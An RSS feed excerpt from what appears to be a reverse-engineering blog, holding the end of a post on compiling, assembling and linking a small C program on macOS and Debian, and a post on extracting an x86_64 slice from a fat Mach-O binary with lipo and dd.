    <span class="hljs-string">mov</span>    <span class="hljs-string">dword</span> <span class="hljs-string">ptr</span> [<span class="hljs-string">rbp</span> <span class="hljs-bullet">-</span> <span class="hljs-number">8</span>]<span class="hljs-string">,</span> <span class="hljs-string">edi</span>
    <span class="hljs-string">mov</span>    <span class="hljs-string">qword</span> <span class="hljs-string">ptr</span> [<span class="hljs-string">rbp</span> <span class="hljs-bullet">-</span> <span class="hljs-number">16</span>]<span class="hljs-string">,</span> <span class="hljs-string">rsi</span>
    <span class="hljs-string">call</span>    <span class="hljs-string">_mySubroutine</span>
    <span class="hljs-string">mov</span>    <span class="hljs-string">dword</span> <span class="hljs-string">ptr</span> [<span class="hljs-string">rbp</span> <span class="hljs-bullet">-</span> <span class="hljs-number">20</span>]<span class="hljs-string">,</span> <span class="hljs-string">eax</span>
    <span class="hljs-string">mov</span>    <span class="hljs-string">esi,</span> <span class="hljs-string">dword</span> <span class="hljs-string">ptr</span> [<span class="hljs-string">rbp</span> <span class="hljs-bullet">-</span> <span class="hljs-number">20</span>]
    <span class="hljs-string">lea</span>    <span class="hljs-string">rdi,</span> [<span class="hljs-string">rip</span> <span class="hljs-string">+</span> <span class="hljs-string">L_.str.3</span>]
    <span class="hljs-string">mov</span>    <span class="hljs-string">al,</span> <span class="hljs-number">0</span>
    <span class="hljs-string">call</span>    <span class="hljs-string">_printf</span>
    <span class="hljs-string">lea</span>    <span class="hljs-string">rdi,</span> [<span class="hljs-string">rip</span> <span class="hljs-string">+</span> <span class="hljs-string">L_.str</span>]
    <span class="hljs-string">lea</span>    <span class="hljs-string">rsi,</span> [<span class="hljs-string">rip</span> <span class="hljs-string">+</span> <span class="hljs-string">L_.str.2</span>]
    <span class="hljs-string">mov</span>    <span class="hljs-string">al,</span> <span class="hljs-number">0</span>
    <span class="hljs-string">call</span>    <span class="hljs-string">_printf</span>
    <span class="hljs-string">xor</span>    <span class="hljs-string">eax,</span> <span class="hljs-string">eax</span>
    <span class="hljs-string">add</span>    <span class="hljs-string">rsp,</span> <span class="hljs-number">32</span>
    <span class="hljs-string">pop</span>    <span class="hljs-string">rbp</span>
    <span class="hljs-string">ret</span>
    <span class="hljs-string">.cfi_endproc</span>
                                        <span class="hljs-comment">## -- End function</span>
    <span class="hljs-string">.section</span>    <span class="hljs-string">__TEXT,__cstring,cstring_literals</span>
<span class="hljs-attr">L_.str:</span>                                 <span class="hljs-comment">## @.str</span>
    <span class="hljs-string">.asciz</span>    <span class="hljs-string">"%s"</span>

<span class="hljs-attr">L_.str.1:</span>                               <span class="hljs-comment">## @.str.1</span>
    <span class="hljs-string">.asciz</span>    <span class="hljs-string">"Initialising random number generator"</span>

<span class="hljs-attr">L_.str.2:</span>                               <span class="hljs-comment">## @.str.2</span>
    <span class="hljs-string">.asciz</span>    <span class="hljs-string">"\n"</span>

<span class="hljs-attr">L_.str.3:</span>                               <span class="hljs-comment">## @.str.3</span>
    <span class="hljs-string">.asciz</span>    <span class="hljs-string">"the random number is %d"</span>

<span class="hljs-string">.subsections_via_symbols</span>
</code></pre><p>Interestingly, we can see the code for the two subroutines (<code>mySubroutine</code> and <code>main</code>) well delineated, as much as the definition of the C strings we have used.</p>
<p>The result of compilation is still something one can understand (as long as you can understand assembly code, indeed), but not yet something a machine can run – in fact we have:</p>
<pre><code>gbiondo@tripleX BA <span class="hljs-operator">%</span> file main.s
main.s: assembler source text, ASCII text
</code></pre><p>so, the file is still a TEXT file - not a binary! </p>
<h2 id="heading-assembly">Assembly</h2>
<p>The next stage is the so-called <strong>assembly</strong> phase, in which the assembly code that has been produced in the previous stage is now converted into opcodes. The output of this phase is an object (<code>.o</code>) file, which can be obtained by running <code>clang</code> (or <code>gcc</code>) with the <code>-c</code> switch. </p>
<p>We have:</p>
<pre><code>gbiondo@tripleX BA <span class="hljs-operator">%</span> clang <span class="hljs-operator">-</span>c main.c 
gbiondo@tripleX BA <span class="hljs-operator">%</span> file main.o
main.o: Mach<span class="hljs-operator">-</span>O <span class="hljs-number">64</span><span class="hljs-operator">-</span>bit object x86_64
</code></pre><p>and - obviously! - in the Debian environment, we'll have:</p>
<pre><code>DebianShellcode<span class="hljs-operator">%</span> gcc <span class="hljs-operator">-</span>c main.c 
DebianShellcode<span class="hljs-operator">%</span> file main.o 
main.o: ELF <span class="hljs-number">64</span><span class="hljs-operator">-</span>bit LSB relocatable, x86<span class="hljs-number">-64</span>, version <span class="hljs-number">1</span> (SYSV), not stripped
</code></pre><p>Analysing this file is a bit more complex. One way could be dumping its hex representation with <code>hexdump -c main.o</code>. Part of the result is reported in the image below:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1647944473264/iTkP09pQb.png" alt="Screenshot 2022-03-22 at 10.20.01.png" /></p>
<p>Observe that apart for some strings (like the highlighted ones), the format is not human readable. Here the difference between ELFs and MachOs is a bit more evident. Consider the last lines produced by the hexdump on a MacOS system:</p>
<pre><code><span class="hljs-attribute">00004a0</span>  \<span class="hljs-number">0</span>  \<span class="hljs-number">0</span>  \<span class="hljs-number">0</span>  \<span class="hljs-number">0</span>  \<span class="hljs-number">0</span>  \<span class="hljs-number">0</span>  \<span class="hljs-number">0</span>  \<span class="hljs-number">0</span>  \<span class="hljs-number">0</span>   _   m   a   i   n  \<span class="hljs-number">0</span>   _
<span class="hljs-attribute">00004b0</span>   p   r   i   n   t   f  \<span class="hljs-number">0</span>   _   m   y   S   u   b   r   o   u
<span class="hljs-attribute">00004c0</span>   t   i   n   e  \<span class="hljs-number">0</span>   _   t   i   m   e  \<span class="hljs-number">0</span>   _   s   r   a   n
<span class="hljs-attribute">00004d0</span>   d  \<span class="hljs-number">0</span>   _   r   a   n   d  \<span class="hljs-number">0</span>
</code></pre><p>containing a null-byte terminated list of all subroutines invoked in the program. Also the file size is different - but once again: we are talking about two different executable formats, this should be expected.</p>
<p>We can now produce an executable file. </p>
<h2 id="heading-linking">Linking</h2>
<p>The result of the previous phases is usually a collection of object files. During the <strong>linking </strong>phase, they are all combined into a single executable file. Shared libraries may be linked together with the code (static linking) or not (dynamic linking). This topic is outside of the scope of this article - more information can be found, for instance, in <a target="_blank" href="https://www.tenouk.com/Bufferoverflowc/Bufferoverflow1c.html">BUFFER OVERFLOW 4</a>.</p>
<p>The linking can be then obtained as follows:</p>
<pre><code>gbiondo@tripleX BA <span class="hljs-operator">%</span> clang main.c <span class="hljs-operator">-</span>o main
gbiondo@tripleX BA <span class="hljs-operator">%</span> ls <span class="hljs-operator">-</span>al
total <span class="hljs-number">128</span>
drwxr<span class="hljs-operator">-</span>xr<span class="hljs-operator">-</span>x   <span class="hljs-number">6</span> gbiondo  staff    <span class="hljs-number">192</span> <span class="hljs-number">22</span> Mar <span class="hljs-number">10</span>:<span class="hljs-number">37</span> .
drwxr-xr<span class="hljs-operator">-</span>x  <span class="hljs-number">33</span> gbiondo  staff   <span class="hljs-number">1056</span> <span class="hljs-number">22</span> Mar 09:<span class="hljs-number">12</span> ..
<span class="hljs-operator">-</span>rwxr<span class="hljs-operator">-</span>xr<span class="hljs-operator">-</span>x   <span class="hljs-number">1</span> gbiondo  staff  <span class="hljs-number">49600</span> <span class="hljs-number">22</span> Mar <span class="hljs-number">10</span>:<span class="hljs-number">37</span> main
<span class="hljs-operator">-</span>rw<span class="hljs-operator">-</span>r<span class="hljs-operator">-</span><span class="hljs-operator">-</span>r<span class="hljs-operator">-</span><span class="hljs-operator">-</span>   <span class="hljs-number">1</span> gbiondo  staff    <span class="hljs-number">508</span> <span class="hljs-number">21</span> Mar <span class="hljs-number">14</span>:<span class="hljs-number">34</span> main.c
<span class="hljs-operator">-</span>rw<span class="hljs-operator">-</span>r<span class="hljs-operator">-</span><span class="hljs-operator">-</span>r<span class="hljs-operator">-</span><span class="hljs-operator">-</span>   <span class="hljs-number">1</span> gbiondo  staff   <span class="hljs-number">1240</span> <span class="hljs-number">22</span> Mar <span class="hljs-number">10</span>:<span class="hljs-number">13</span> main.o
<span class="hljs-operator">-</span>rw<span class="hljs-operator">-</span>r<span class="hljs-operator">-</span><span class="hljs-operator">-</span>r<span class="hljs-operator">-</span><span class="hljs-operator">-</span>   <span class="hljs-number">1</span> gbiondo  staff   <span class="hljs-number">1892</span> <span class="hljs-number">22</span> Mar <span class="hljs-number">10</span>:01 main.s
gbiondo@tripleX BA <span class="hljs-operator">%</span> file main 
main: Mach<span class="hljs-operator">-</span>O <span class="hljs-number">64</span><span class="hljs-operator">-</span>bit executable x86_64
</code></pre><p>obviously in the Debian machine we'll have:</p>
<pre><code><span class="hljs-attribute">DebianShellcode</span>% gcc main.c -o main   
<span class="hljs-attribute">DebianShellcode</span>% file main
<span class="hljs-attribute">main</span>: ELF <span class="hljs-number">64</span>-bit LSB pie executable, x<span class="hljs-number">86</span>-<span class="hljs-number">64</span>, version <span class="hljs-number">1</span> (SYSV), dynamically linked, interpreter /lib<span class="hljs-number">64</span>/ld-linux-x<span class="hljs-number">86</span>-<span class="hljs-number">64</span>.so.<span class="hljs-number">2</span>, for GNU/Linux <span class="hljs-number">3</span>.<span class="hljs-number">2</span>.<span class="hljs-number">0</span>, BuildID[sha<span class="hljs-number">1</span>]=a<span class="hljs-number">88</span>cde<span class="hljs-number">6</span>d<span class="hljs-number">224</span>edbea<span class="hljs-number">15116</span>fd<span class="hljs-number">89</span>ea<span class="hljs-number">89</span>ed<span class="hljs-number">50</span>b<span class="hljs-number">32703</span>e, not stripped
</code></pre><p><em>Note: Linux <code>file</code> command gives a more interesting output.</em></p>
<h1 id="heading-conclusions">Conclusions</h1>
<p>This article is just a foundation for future developments. Actually, it's a bit counterintuitive, but one cannot reverse a process (in this case, binary creation) without knowing the process itself.
In theory, I didn't write anything new, but this is a very vast and fascinating field - I just hope I gave you another view on one of the most basic process of the software development.</p>
]]></content:encoded></item><item><title><![CDATA[Working with Fat Files: extracting a binary]]></title><description><![CDATA[Abstract
In this article, we will show how to obtain a system-specific executable from its fat version.
A prerequisite to understanding all the contents of this article is having a solid grasp of the MachO binary file format. Would you need to fill s...]]></description><link>https://blog.reveng3.org/working-with-fat-files-extracting-a-binary</link><guid isPermaLink="true">https://blog.reveng3.org/working-with-fat-files-extracting-a-binary</guid><category><![CDATA[hacking]]></category><dc:creator><![CDATA[Gabriele Biondo]]></dc:creator><pubDate>Tue, 22 Mar 2022 10:53:26 GMT</pubDate><content:encoded><![CDATA[<h3 id="heading-abstract">Abstract</h3>
<p><em>In this article, we will show how to obtain a system-specific executable from its fat version.</em></p>
<p>A prerequisite to understanding all the contents of this article is having a solid grasp of the MachO binary file format. Would you need to fill some gaps, I'd strongly recommend reading <a target="_blank" href="https://lowlevelbits.org/parsing-mach-o-files/">Parsing Mach-O files</a> and the pages thereby linked.</p>
<h1 id="heading-extracting-the-executable-for-an-architecture">Extracting the executable for an architecture</h1>
<p>In the following examples, we have copied a well known fat binary, namely <code>mv</code>, in a working directory:</p>
<pre><code><span class="hljs-string">gbiondo@tripleX</span> <span class="hljs-string">temp</span> <span class="hljs-string">%</span> <span class="hljs-string">ls</span> <span class="hljs-string">-al</span>
<span class="hljs-string">total</span> <span class="hljs-number">272</span>
<span class="hljs-string">drwxr-xr-x</span>   <span class="hljs-number">3</span> <span class="hljs-string">gbiondo</span>  <span class="hljs-string">staff</span>      <span class="hljs-number">96</span> <span class="hljs-number">17</span> <span class="hljs-string">Mar</span> <span class="hljs-number">15</span><span class="hljs-string">:56</span> <span class="hljs-string">.</span>
<span class="hljs-string">drwxr-xr-x</span>  <span class="hljs-number">20</span> <span class="hljs-string">gbiondo</span>  <span class="hljs-string">staff</span>     <span class="hljs-number">640</span> <span class="hljs-number">17</span> <span class="hljs-string">Mar</span> <span class="hljs-number">15</span><span class="hljs-string">:55</span> <span class="hljs-string">..</span>
<span class="hljs-string">-rwxr-xr-x</span>   <span class="hljs-number">1</span> <span class="hljs-string">gbiondo</span>  <span class="hljs-string">staff</span>  <span class="hljs-number">135520</span> <span class="hljs-number">17</span> <span class="hljs-string">Mar</span> <span class="hljs-number">15</span><span class="hljs-string">:56</span> <span class="hljs-string">mv</span>
</code></pre><p>We can quickly see it's a fat binary; in fact, it contains both the executable for the 'old' X86 architecture and the new arm:</p>
<pre><code><span class="hljs-attribute">gbiondo</span>@tripleX temp % file mv 
<span class="hljs-attribute">mv</span>: Mach-O universal binary with <span class="hljs-number">2</span> architectures:<span class="hljs-meta"> [x86_64:Mach-O 64-bit executable x86_64] [arm64e:Mach-O 64-bit executable arm64e]</span>
<span class="hljs-attribute">mv</span> (for architecture x<span class="hljs-number">86</span>_<span class="hljs-number">64</span>):    Mach-O <span class="hljs-number">64</span>-bit executable x<span class="hljs-number">86</span>_<span class="hljs-number">64</span>
<span class="hljs-attribute">mv</span> (for architecture arm<span class="hljs-number">64</span>e):    Mach-O <span class="hljs-number">64</span>-bit executable arm<span class="hljs-number">64</span>e
</code></pre><p>We want to extract the x86_64 Mach-O file from it; this would result in a purely x86_64 executable.</p>
<p>The most elegant method I found to date was by using the <code>lipo</code> utility. From its man page:</p>
<blockquote>
<p>The <code>lipo</code> tool creates or operates on "universal" (multi-architecture) files. Generally, <code>lipo</code> reads a single input file and writes to a single output file, although some commands and options accept multiple input files.  <code>lipo</code> will only ever write to a single output file, and input files are never modified in place.</p>
<p>The <code>lipo</code> tool supports several commands for creating universal files from single-architecture files, extracting single-architecture files from universal files, and displaying architecture information. </p>
<p>Furthermore, <code>lipo</code> can only perform one such command at a time, although some command flags may appear more than once. Some commands support additional options that can be used with that command. In addition, there are global options that are supported by multiple commands.</p>
<p>The <code>arch_type</code> arguments may be any of the supported architecture names listed in the man page <code>arch(3)</code>.</p>
</blockquote>
<p>So to extract the X64 MachO part, we can proceed as follows:</p>
<pre><code>gbiondo@tripleX temp <span class="hljs-operator">%</span> lipo mv <span class="hljs-operator">-</span>remove arm64e <span class="hljs-operator">-</span>output mv2 
gbiondo@tripleX temp <span class="hljs-operator">%</span> ./mv2 mv2 mv_X64
gbiondo@tripleX temp <span class="hljs-operator">%</span> ls <span class="hljs-operator">-</span>al
total <span class="hljs-number">416</span>
drwxr<span class="hljs-operator">-</span>xr<span class="hljs-operator">-</span>x   <span class="hljs-number">4</span> gbiondo  staff     <span class="hljs-number">128</span> <span class="hljs-number">17</span> Mar <span class="hljs-number">16</span>:<span class="hljs-number">11</span> .
drwxr-xr<span class="hljs-operator">-</span>x  <span class="hljs-number">20</span> gbiondo  staff     <span class="hljs-number">640</span> <span class="hljs-number">17</span> Mar <span class="hljs-number">15</span>:<span class="hljs-number">55</span> ..
<span class="hljs-operator">-</span>rwxr<span class="hljs-operator">-</span>xr<span class="hljs-operator">-</span>x   <span class="hljs-number">1</span> gbiondo  staff  <span class="hljs-number">135520</span> <span class="hljs-number">17</span> Mar <span class="hljs-number">15</span>:<span class="hljs-number">56</span> mv
<span class="hljs-operator">-</span>rwxr<span class="hljs-operator">-</span>xr<span class="hljs-operator">-</span>x   <span class="hljs-number">1</span> gbiondo  staff   <span class="hljs-number">70320</span> <span class="hljs-number">17</span> Mar <span class="hljs-number">16</span>:<span class="hljs-number">10</span> mv_X64
</code></pre><p>This actually shows:</p>
<ol>
<li>we have created a smaller file, which originally was named <code>mv2</code>, that also </li>
<li>worked perfectly as <code>mv</code> would have done; in fact, it renamed <code>mv2</code>...</li>
</ol>
<p>To check that the file is consistently an X86 MachO:</p>
<pre><code><span class="hljs-attribute">gbiondo</span>@tripleX temp % file mv_X<span class="hljs-number">64</span> 
<span class="hljs-attribute">mv_X64</span>: Mach-O universal binary with <span class="hljs-number">1</span> architecture:<span class="hljs-meta"> [x86_64:Mach-O 64-bit executable x86_64]</span>
<span class="hljs-attribute">mv_X64</span> (for architecture x<span class="hljs-number">86</span>_<span class="hljs-number">64</span>):    Mach-O <span class="hljs-number">64</span>-bit executable x<span class="hljs-number">86</span>_<span class="hljs-number">64</span>
</code></pre><p>There are many other functionalities lipo can do, for instance, we could have issued:</p>
<pre><code><span class="hljs-attribute">gbiondo</span>@tripleX temp % lipo -info mv*
<span class="hljs-attribute">Architectures</span> in the fat file: mv are: x<span class="hljs-number">86</span>_<span class="hljs-number">64</span> arm<span class="hljs-number">64</span>e 
<span class="hljs-attribute">Architectures</span> in the fat file: mv_X<span class="hljs-number">64</span> are: x<span class="hljs-number">86</span>_<span class="hljs-number">64</span>
</code></pre><p>or </p>
<pre><code><span class="hljs-attribute">gbiondo</span>@tripleX temp % lipo  -detailed_info mv*   
<span class="hljs-attribute">Fat</span> header in: mv
<span class="hljs-attribute">fat_magic</span> <span class="hljs-number">0</span>xcafebabe
<span class="hljs-attribute">nfat_arch</span> <span class="hljs-number">2</span>
<span class="hljs-attribute">architecture</span> x<span class="hljs-number">86</span>_<span class="hljs-number">64</span>
    <span class="hljs-attribute">cputype</span> CPU_TYPE_X<span class="hljs-number">86</span>_<span class="hljs-number">64</span>
    <span class="hljs-attribute">cpusubtype</span> CPU_SUBTYPE_X<span class="hljs-number">86</span>_<span class="hljs-number">64</span>_ALL
    <span class="hljs-attribute">capabilities</span> <span class="hljs-number">0</span>x<span class="hljs-number">0</span>
    <span class="hljs-attribute">offset</span> <span class="hljs-number">16384</span>
    <span class="hljs-attribute">size</span> <span class="hljs-number">53936</span>
    <span class="hljs-attribute">align</span> <span class="hljs-number">2</span>^<span class="hljs-number">14</span> (<span class="hljs-number">16384</span>)
<span class="hljs-attribute">architecture</span> arm<span class="hljs-number">64</span>e
    <span class="hljs-attribute">cputype</span> CPU_TYPE_ARM<span class="hljs-number">64</span>
    <span class="hljs-attribute">cpusubtype</span> CPU_SUBTYPE_ARM<span class="hljs-number">64</span>E
    <span class="hljs-attribute">capabilities</span> PTR_AUTH_VERSION USERSPACE <span class="hljs-number">0</span>
    <span class="hljs-attribute">offset</span> <span class="hljs-number">81920</span>
    <span class="hljs-attribute">size</span> <span class="hljs-number">53600</span>
    <span class="hljs-attribute">align</span> <span class="hljs-number">2</span>^<span class="hljs-number">14</span> (<span class="hljs-number">16384</span>)
<span class="hljs-attribute">Fat</span> header in: mv_X<span class="hljs-number">64</span>
<span class="hljs-attribute">fat_magic</span> <span class="hljs-number">0</span>xcafebabe
<span class="hljs-attribute">nfat_arch</span> <span class="hljs-number">1</span>
<span class="hljs-attribute">architecture</span> x<span class="hljs-number">86</span>_<span class="hljs-number">64</span>
    <span class="hljs-attribute">cputype</span> CPU_TYPE_X<span class="hljs-number">86</span>_<span class="hljs-number">64</span>
    <span class="hljs-attribute">cpusubtype</span> CPU_SUBTYPE_X<span class="hljs-number">86</span>_<span class="hljs-number">64</span>_ALL
    <span class="hljs-attribute">capabilities</span> <span class="hljs-number">0</span>x<span class="hljs-number">0</span>
    <span class="hljs-attribute">offset</span> <span class="hljs-number">16384</span>
    <span class="hljs-attribute">size</span> <span class="hljs-number">53936</span>
    <span class="hljs-attribute">align</span> <span class="hljs-number">2</span>^<span class="hljs-number">14</span> (<span class="hljs-number">16384</span>)
</code></pre><p>This last example is not different from what we'd obtain with <code>otool -f -v mv*</code>, so we strongly encourage the reader to play a bit around with the tool.</p>
<p>Are there any alternatives? The best alternative I found is the old <code>dd</code> UNIX utility. </p>
<p>I have done two different experiments: <code>dd</code>'ing only the first (16384+53936) = 70320 bytes and the whole arm64e offset, 81920 bytes. If you're wondering, the values 16384 and 53936 come from the lines in <strong>offset</strong> and <strong>size</strong>, in the listing above.</p>
<p>The results are as follows:</p>
<pre><code>gbiondo@tripleX temp <span class="hljs-operator">%</span> dd <span class="hljs-keyword">if</span><span class="hljs-operator">=</span>mv of<span class="hljs-operator">=</span>mv_dd1 bs<span class="hljs-operator">=</span><span class="hljs-number">70320</span> count<span class="hljs-operator">=</span><span class="hljs-number">1</span>
<span class="hljs-number">1</span><span class="hljs-operator">+</span><span class="hljs-number">0</span> records in
<span class="hljs-number">1</span><span class="hljs-operator">+</span><span class="hljs-number">0</span> records out
<span class="hljs-number">70320</span> <span class="hljs-keyword">bytes</span> transferred in <span class="hljs-number">0</span><span class="hljs-number">.000095</span> secs (<span class="hljs-number">739206660</span> <span class="hljs-keyword">bytes</span><span class="hljs-operator">/</span>sec)
gbiondo@tripleX temp <span class="hljs-operator">%</span> dd <span class="hljs-keyword">if</span><span class="hljs-operator">=</span>mv of<span class="hljs-operator">=</span>mv_dd2 bs<span class="hljs-operator">=</span><span class="hljs-number">81920</span> count<span class="hljs-operator">=</span><span class="hljs-number">1</span>
<span class="hljs-number">1</span><span class="hljs-operator">+</span><span class="hljs-number">0</span> records in
<span class="hljs-number">1</span><span class="hljs-operator">+</span><span class="hljs-number">0</span> records out
<span class="hljs-number">81920</span> <span class="hljs-keyword">bytes</span> transferred in <span class="hljs-number">0</span><span class="hljs-number">.000895</span> secs (<span class="hljs-number">91528339</span> <span class="hljs-keyword">bytes</span><span class="hljs-operator">/</span>sec)
gbiondo@tripleX temp <span class="hljs-operator">%</span> ls <span class="hljs-operator">-</span>al mv<span class="hljs-operator">*</span>
<span class="hljs-operator">-</span>rwxr<span class="hljs-operator">-</span>xr<span class="hljs-operator">-</span>x  <span class="hljs-number">1</span> gbiondo  staff  <span class="hljs-number">135520</span> <span class="hljs-number">17</span> Mar <span class="hljs-number">15</span>:<span class="hljs-number">56</span> mv
<span class="hljs-operator">-</span>rwxr<span class="hljs-operator">-</span>xr<span class="hljs-operator">-</span>x  <span class="hljs-number">1</span> gbiondo  staff   <span class="hljs-number">70320</span> <span class="hljs-number">17</span> Mar <span class="hljs-number">16</span>:<span class="hljs-number">10</span> mv_X64
<span class="hljs-operator">-</span>rw<span class="hljs-operator">-</span>r<span class="hljs-operator">-</span><span class="hljs-operator">-</span>r<span class="hljs-operator">-</span><span class="hljs-operator">-</span>  <span class="hljs-number">1</span> gbiondo  staff   <span class="hljs-number">70320</span> <span class="hljs-number">18</span> Mar 09:<span class="hljs-number">30</span> mv_dd1
<span class="hljs-operator">-</span>rw<span class="hljs-operator">-</span>r<span class="hljs-operator">-</span><span class="hljs-operator">-</span>r<span class="hljs-operator">-</span><span class="hljs-operator">-</span>  <span class="hljs-number">1</span> gbiondo  staff   <span class="hljs-number">81920</span> <span class="hljs-number">18</span> Mar 09:<span class="hljs-number">30</span> mv_dd2
</code></pre><p>First of all, we note that the two newborn files are not executable. That's understandable, for <code>dd</code> doesn't care about permissions. Secondly, we observe that only the first file has the same size as the one extracted before - this justifies the conjecture that lipo actually strips the executable to the minimum possible size. We still don't know:</p>
<ol>
<li><p>if these files can actually run</p>
</li>
<li><p>if so, if the result is the intended one</p>
</li>
<li><p>and finally, if they are as stable as the original file.</p>
</li>
</ol>
<p>Now, we aren't testing for the third condition. Focusing on the first two, we proceed by making them executable from the shell, and observing the results (<em>Note: this would have been way better with a utility that gives more explicit results, such as <code>cc</code> - you may want to try the same method with it</em>). We proceed to make the files executable:</p>
<pre><code>gbiondo@tripleX temp <span class="hljs-operator">%</span> chmod <span class="hljs-operator">+</span>x mv_dd[<span class="hljs-number">12</span>]
gbiondo@tripleX temp <span class="hljs-operator">%</span> ls <span class="hljs-operator">-</span>al mv_dd[<span class="hljs-number">12</span>]
<span class="hljs-operator">-</span>rwxr<span class="hljs-operator">-</span>xr<span class="hljs-operator">-</span>x  <span class="hljs-number">1</span> gbiondo  staff  <span class="hljs-number">70320</span> <span class="hljs-number">18</span> Mar 09:<span class="hljs-number">30</span> mv_dd1
<span class="hljs-operator">-</span>rwxr<span class="hljs-operator">-</span>xr<span class="hljs-operator">-</span>x  <span class="hljs-number">1</span> gbiondo  staff  <span class="hljs-number">81920</span> <span class="hljs-number">18</span> Mar 09:<span class="hljs-number">30</span> mv_dd2
</code></pre><p>and then testing their functionality:</p>
<pre><code>gbiondo@tripleX temp <span class="hljs-operator">%</span> ./mv_dd1 mv_dd2 mv_dd_obese
gbiondo@tripleX temp <span class="hljs-operator">%</span> ./mv_dd_obese mv_dd1 mv_dd_stripped
gbiondo@tripleX temp <span class="hljs-operator">%</span>  ls <span class="hljs-operator">-</span>al 
total <span class="hljs-number">720</span>
drwxr<span class="hljs-operator">-</span>xr<span class="hljs-operator">-</span>x   <span class="hljs-number">6</span> gbiondo  staff     <span class="hljs-number">192</span> <span class="hljs-number">18</span> Mar 09:<span class="hljs-number">40</span> .
drwxr-xr<span class="hljs-operator">-</span>x  <span class="hljs-number">20</span> gbiondo  staff     <span class="hljs-number">640</span> <span class="hljs-number">18</span> Mar 09:01 ..
<span class="hljs-operator">-</span>rwxr<span class="hljs-operator">-</span>xr<span class="hljs-operator">-</span>x   <span class="hljs-number">1</span> gbiondo  staff  <span class="hljs-number">135520</span> <span class="hljs-number">17</span> Mar <span class="hljs-number">15</span>:<span class="hljs-number">56</span> mv
<span class="hljs-operator">-</span>rwxr<span class="hljs-operator">-</span>xr<span class="hljs-operator">-</span>x   <span class="hljs-number">1</span> gbiondo  staff   <span class="hljs-number">70320</span> <span class="hljs-number">17</span> Mar <span class="hljs-number">16</span>:<span class="hljs-number">10</span> mv_X64
<span class="hljs-operator">-</span>rwxr<span class="hljs-operator">-</span>xr<span class="hljs-operator">-</span>x   <span class="hljs-number">1</span> gbiondo  staff   <span class="hljs-number">81920</span> <span class="hljs-number">18</span> Mar 09:<span class="hljs-number">30</span> mv_dd_obese
<span class="hljs-operator">-</span>rwxr<span class="hljs-operator">-</span>xr<span class="hljs-operator">-</span>x   <span class="hljs-number">1</span> gbiondo  staff   <span class="hljs-number">70320</span> <span class="hljs-number">18</span> Mar 09:<span class="hljs-number">30</span> mv_dd_stripped
</code></pre><p>Finally, we want to check how the OS recognizes the new executables. We have:</p>
<pre><code><span class="hljs-attribute">gbiondo</span>@tripleX temp % file mv_dd_obese 
<span class="hljs-attribute">mv_dd_obese</span>: Mach-O universal binary with <span class="hljs-number">2</span> architectures:<span class="hljs-meta"> [x86_64:Mach-O 64-bit executable x86_64] [arm64e]</span>
<span class="hljs-attribute">mv_dd_obese</span> (for architecture x<span class="hljs-number">86</span>_<span class="hljs-number">64</span>):    Mach-O <span class="hljs-number">64</span>-bit executable x<span class="hljs-number">86</span>_<span class="hljs-number">64</span>
<span class="hljs-attribute">mv_dd_obese</span> (for architecture arm<span class="hljs-number">64</span>e):    
<span class="hljs-attribute">gbiondo</span>@tripleX temp % file mv_dd_stripped 
<span class="hljs-attribute">mv_dd_stripped</span>: Mach-O universal binary with <span class="hljs-number">2</span> architectures:<span class="hljs-meta"> [x86_64:Mach-O 64-bit executable x86_64] [arm64e]</span>
<span class="hljs-attribute">mv_dd_stripped</span> (for architecture x<span class="hljs-number">86</span>_<span class="hljs-number">64</span>):    Mach-O <span class="hljs-number">64</span>-bit executable x<span class="hljs-number">86</span>_<span class="hljs-number">64</span>
<span class="hljs-attribute">mv_dd_stripped</span> (for architecture arm<span class="hljs-number">64</span>e):
</code></pre><h1 id="heading-takeaways-and-other-considerations">Takeaways and other considerations</h1>
<p>We have <em>empirically</em> proven that the <code>lipo</code> and <code>dd</code> approaches give a comparable result (the 'stripped' executable), but the headers of the files obtained with the second method are inconsistent.</p>
<p>We also have <em>empirically</em> proven that, apart from the header, <code>lipo</code> and <code>dd</code> with a block size of (offset+size) return a file of the same size (that makes us conjecturing that lipo does something similar and modify the header afterward). </p>
<h2 id="heading-pros-and-cons">Pro's and con's</h2>
<p>The <code>dd</code> utility is present in all POSIX compliant systems, this would allow to process the executable in another system, if needed.</p>
<p>On the other hand, if we were to extract the executable for the second architecture with <code>dd</code>, we'd need to do some extra work.</p>
<h1 id="heading-conclusions">Conclusions</h1>
<p>Here the conclusion is really situational: I would use <code>lipo</code> unless I am forced not to do so, at least for consistency. </p>
]]></content:encoded></item></channel></rss>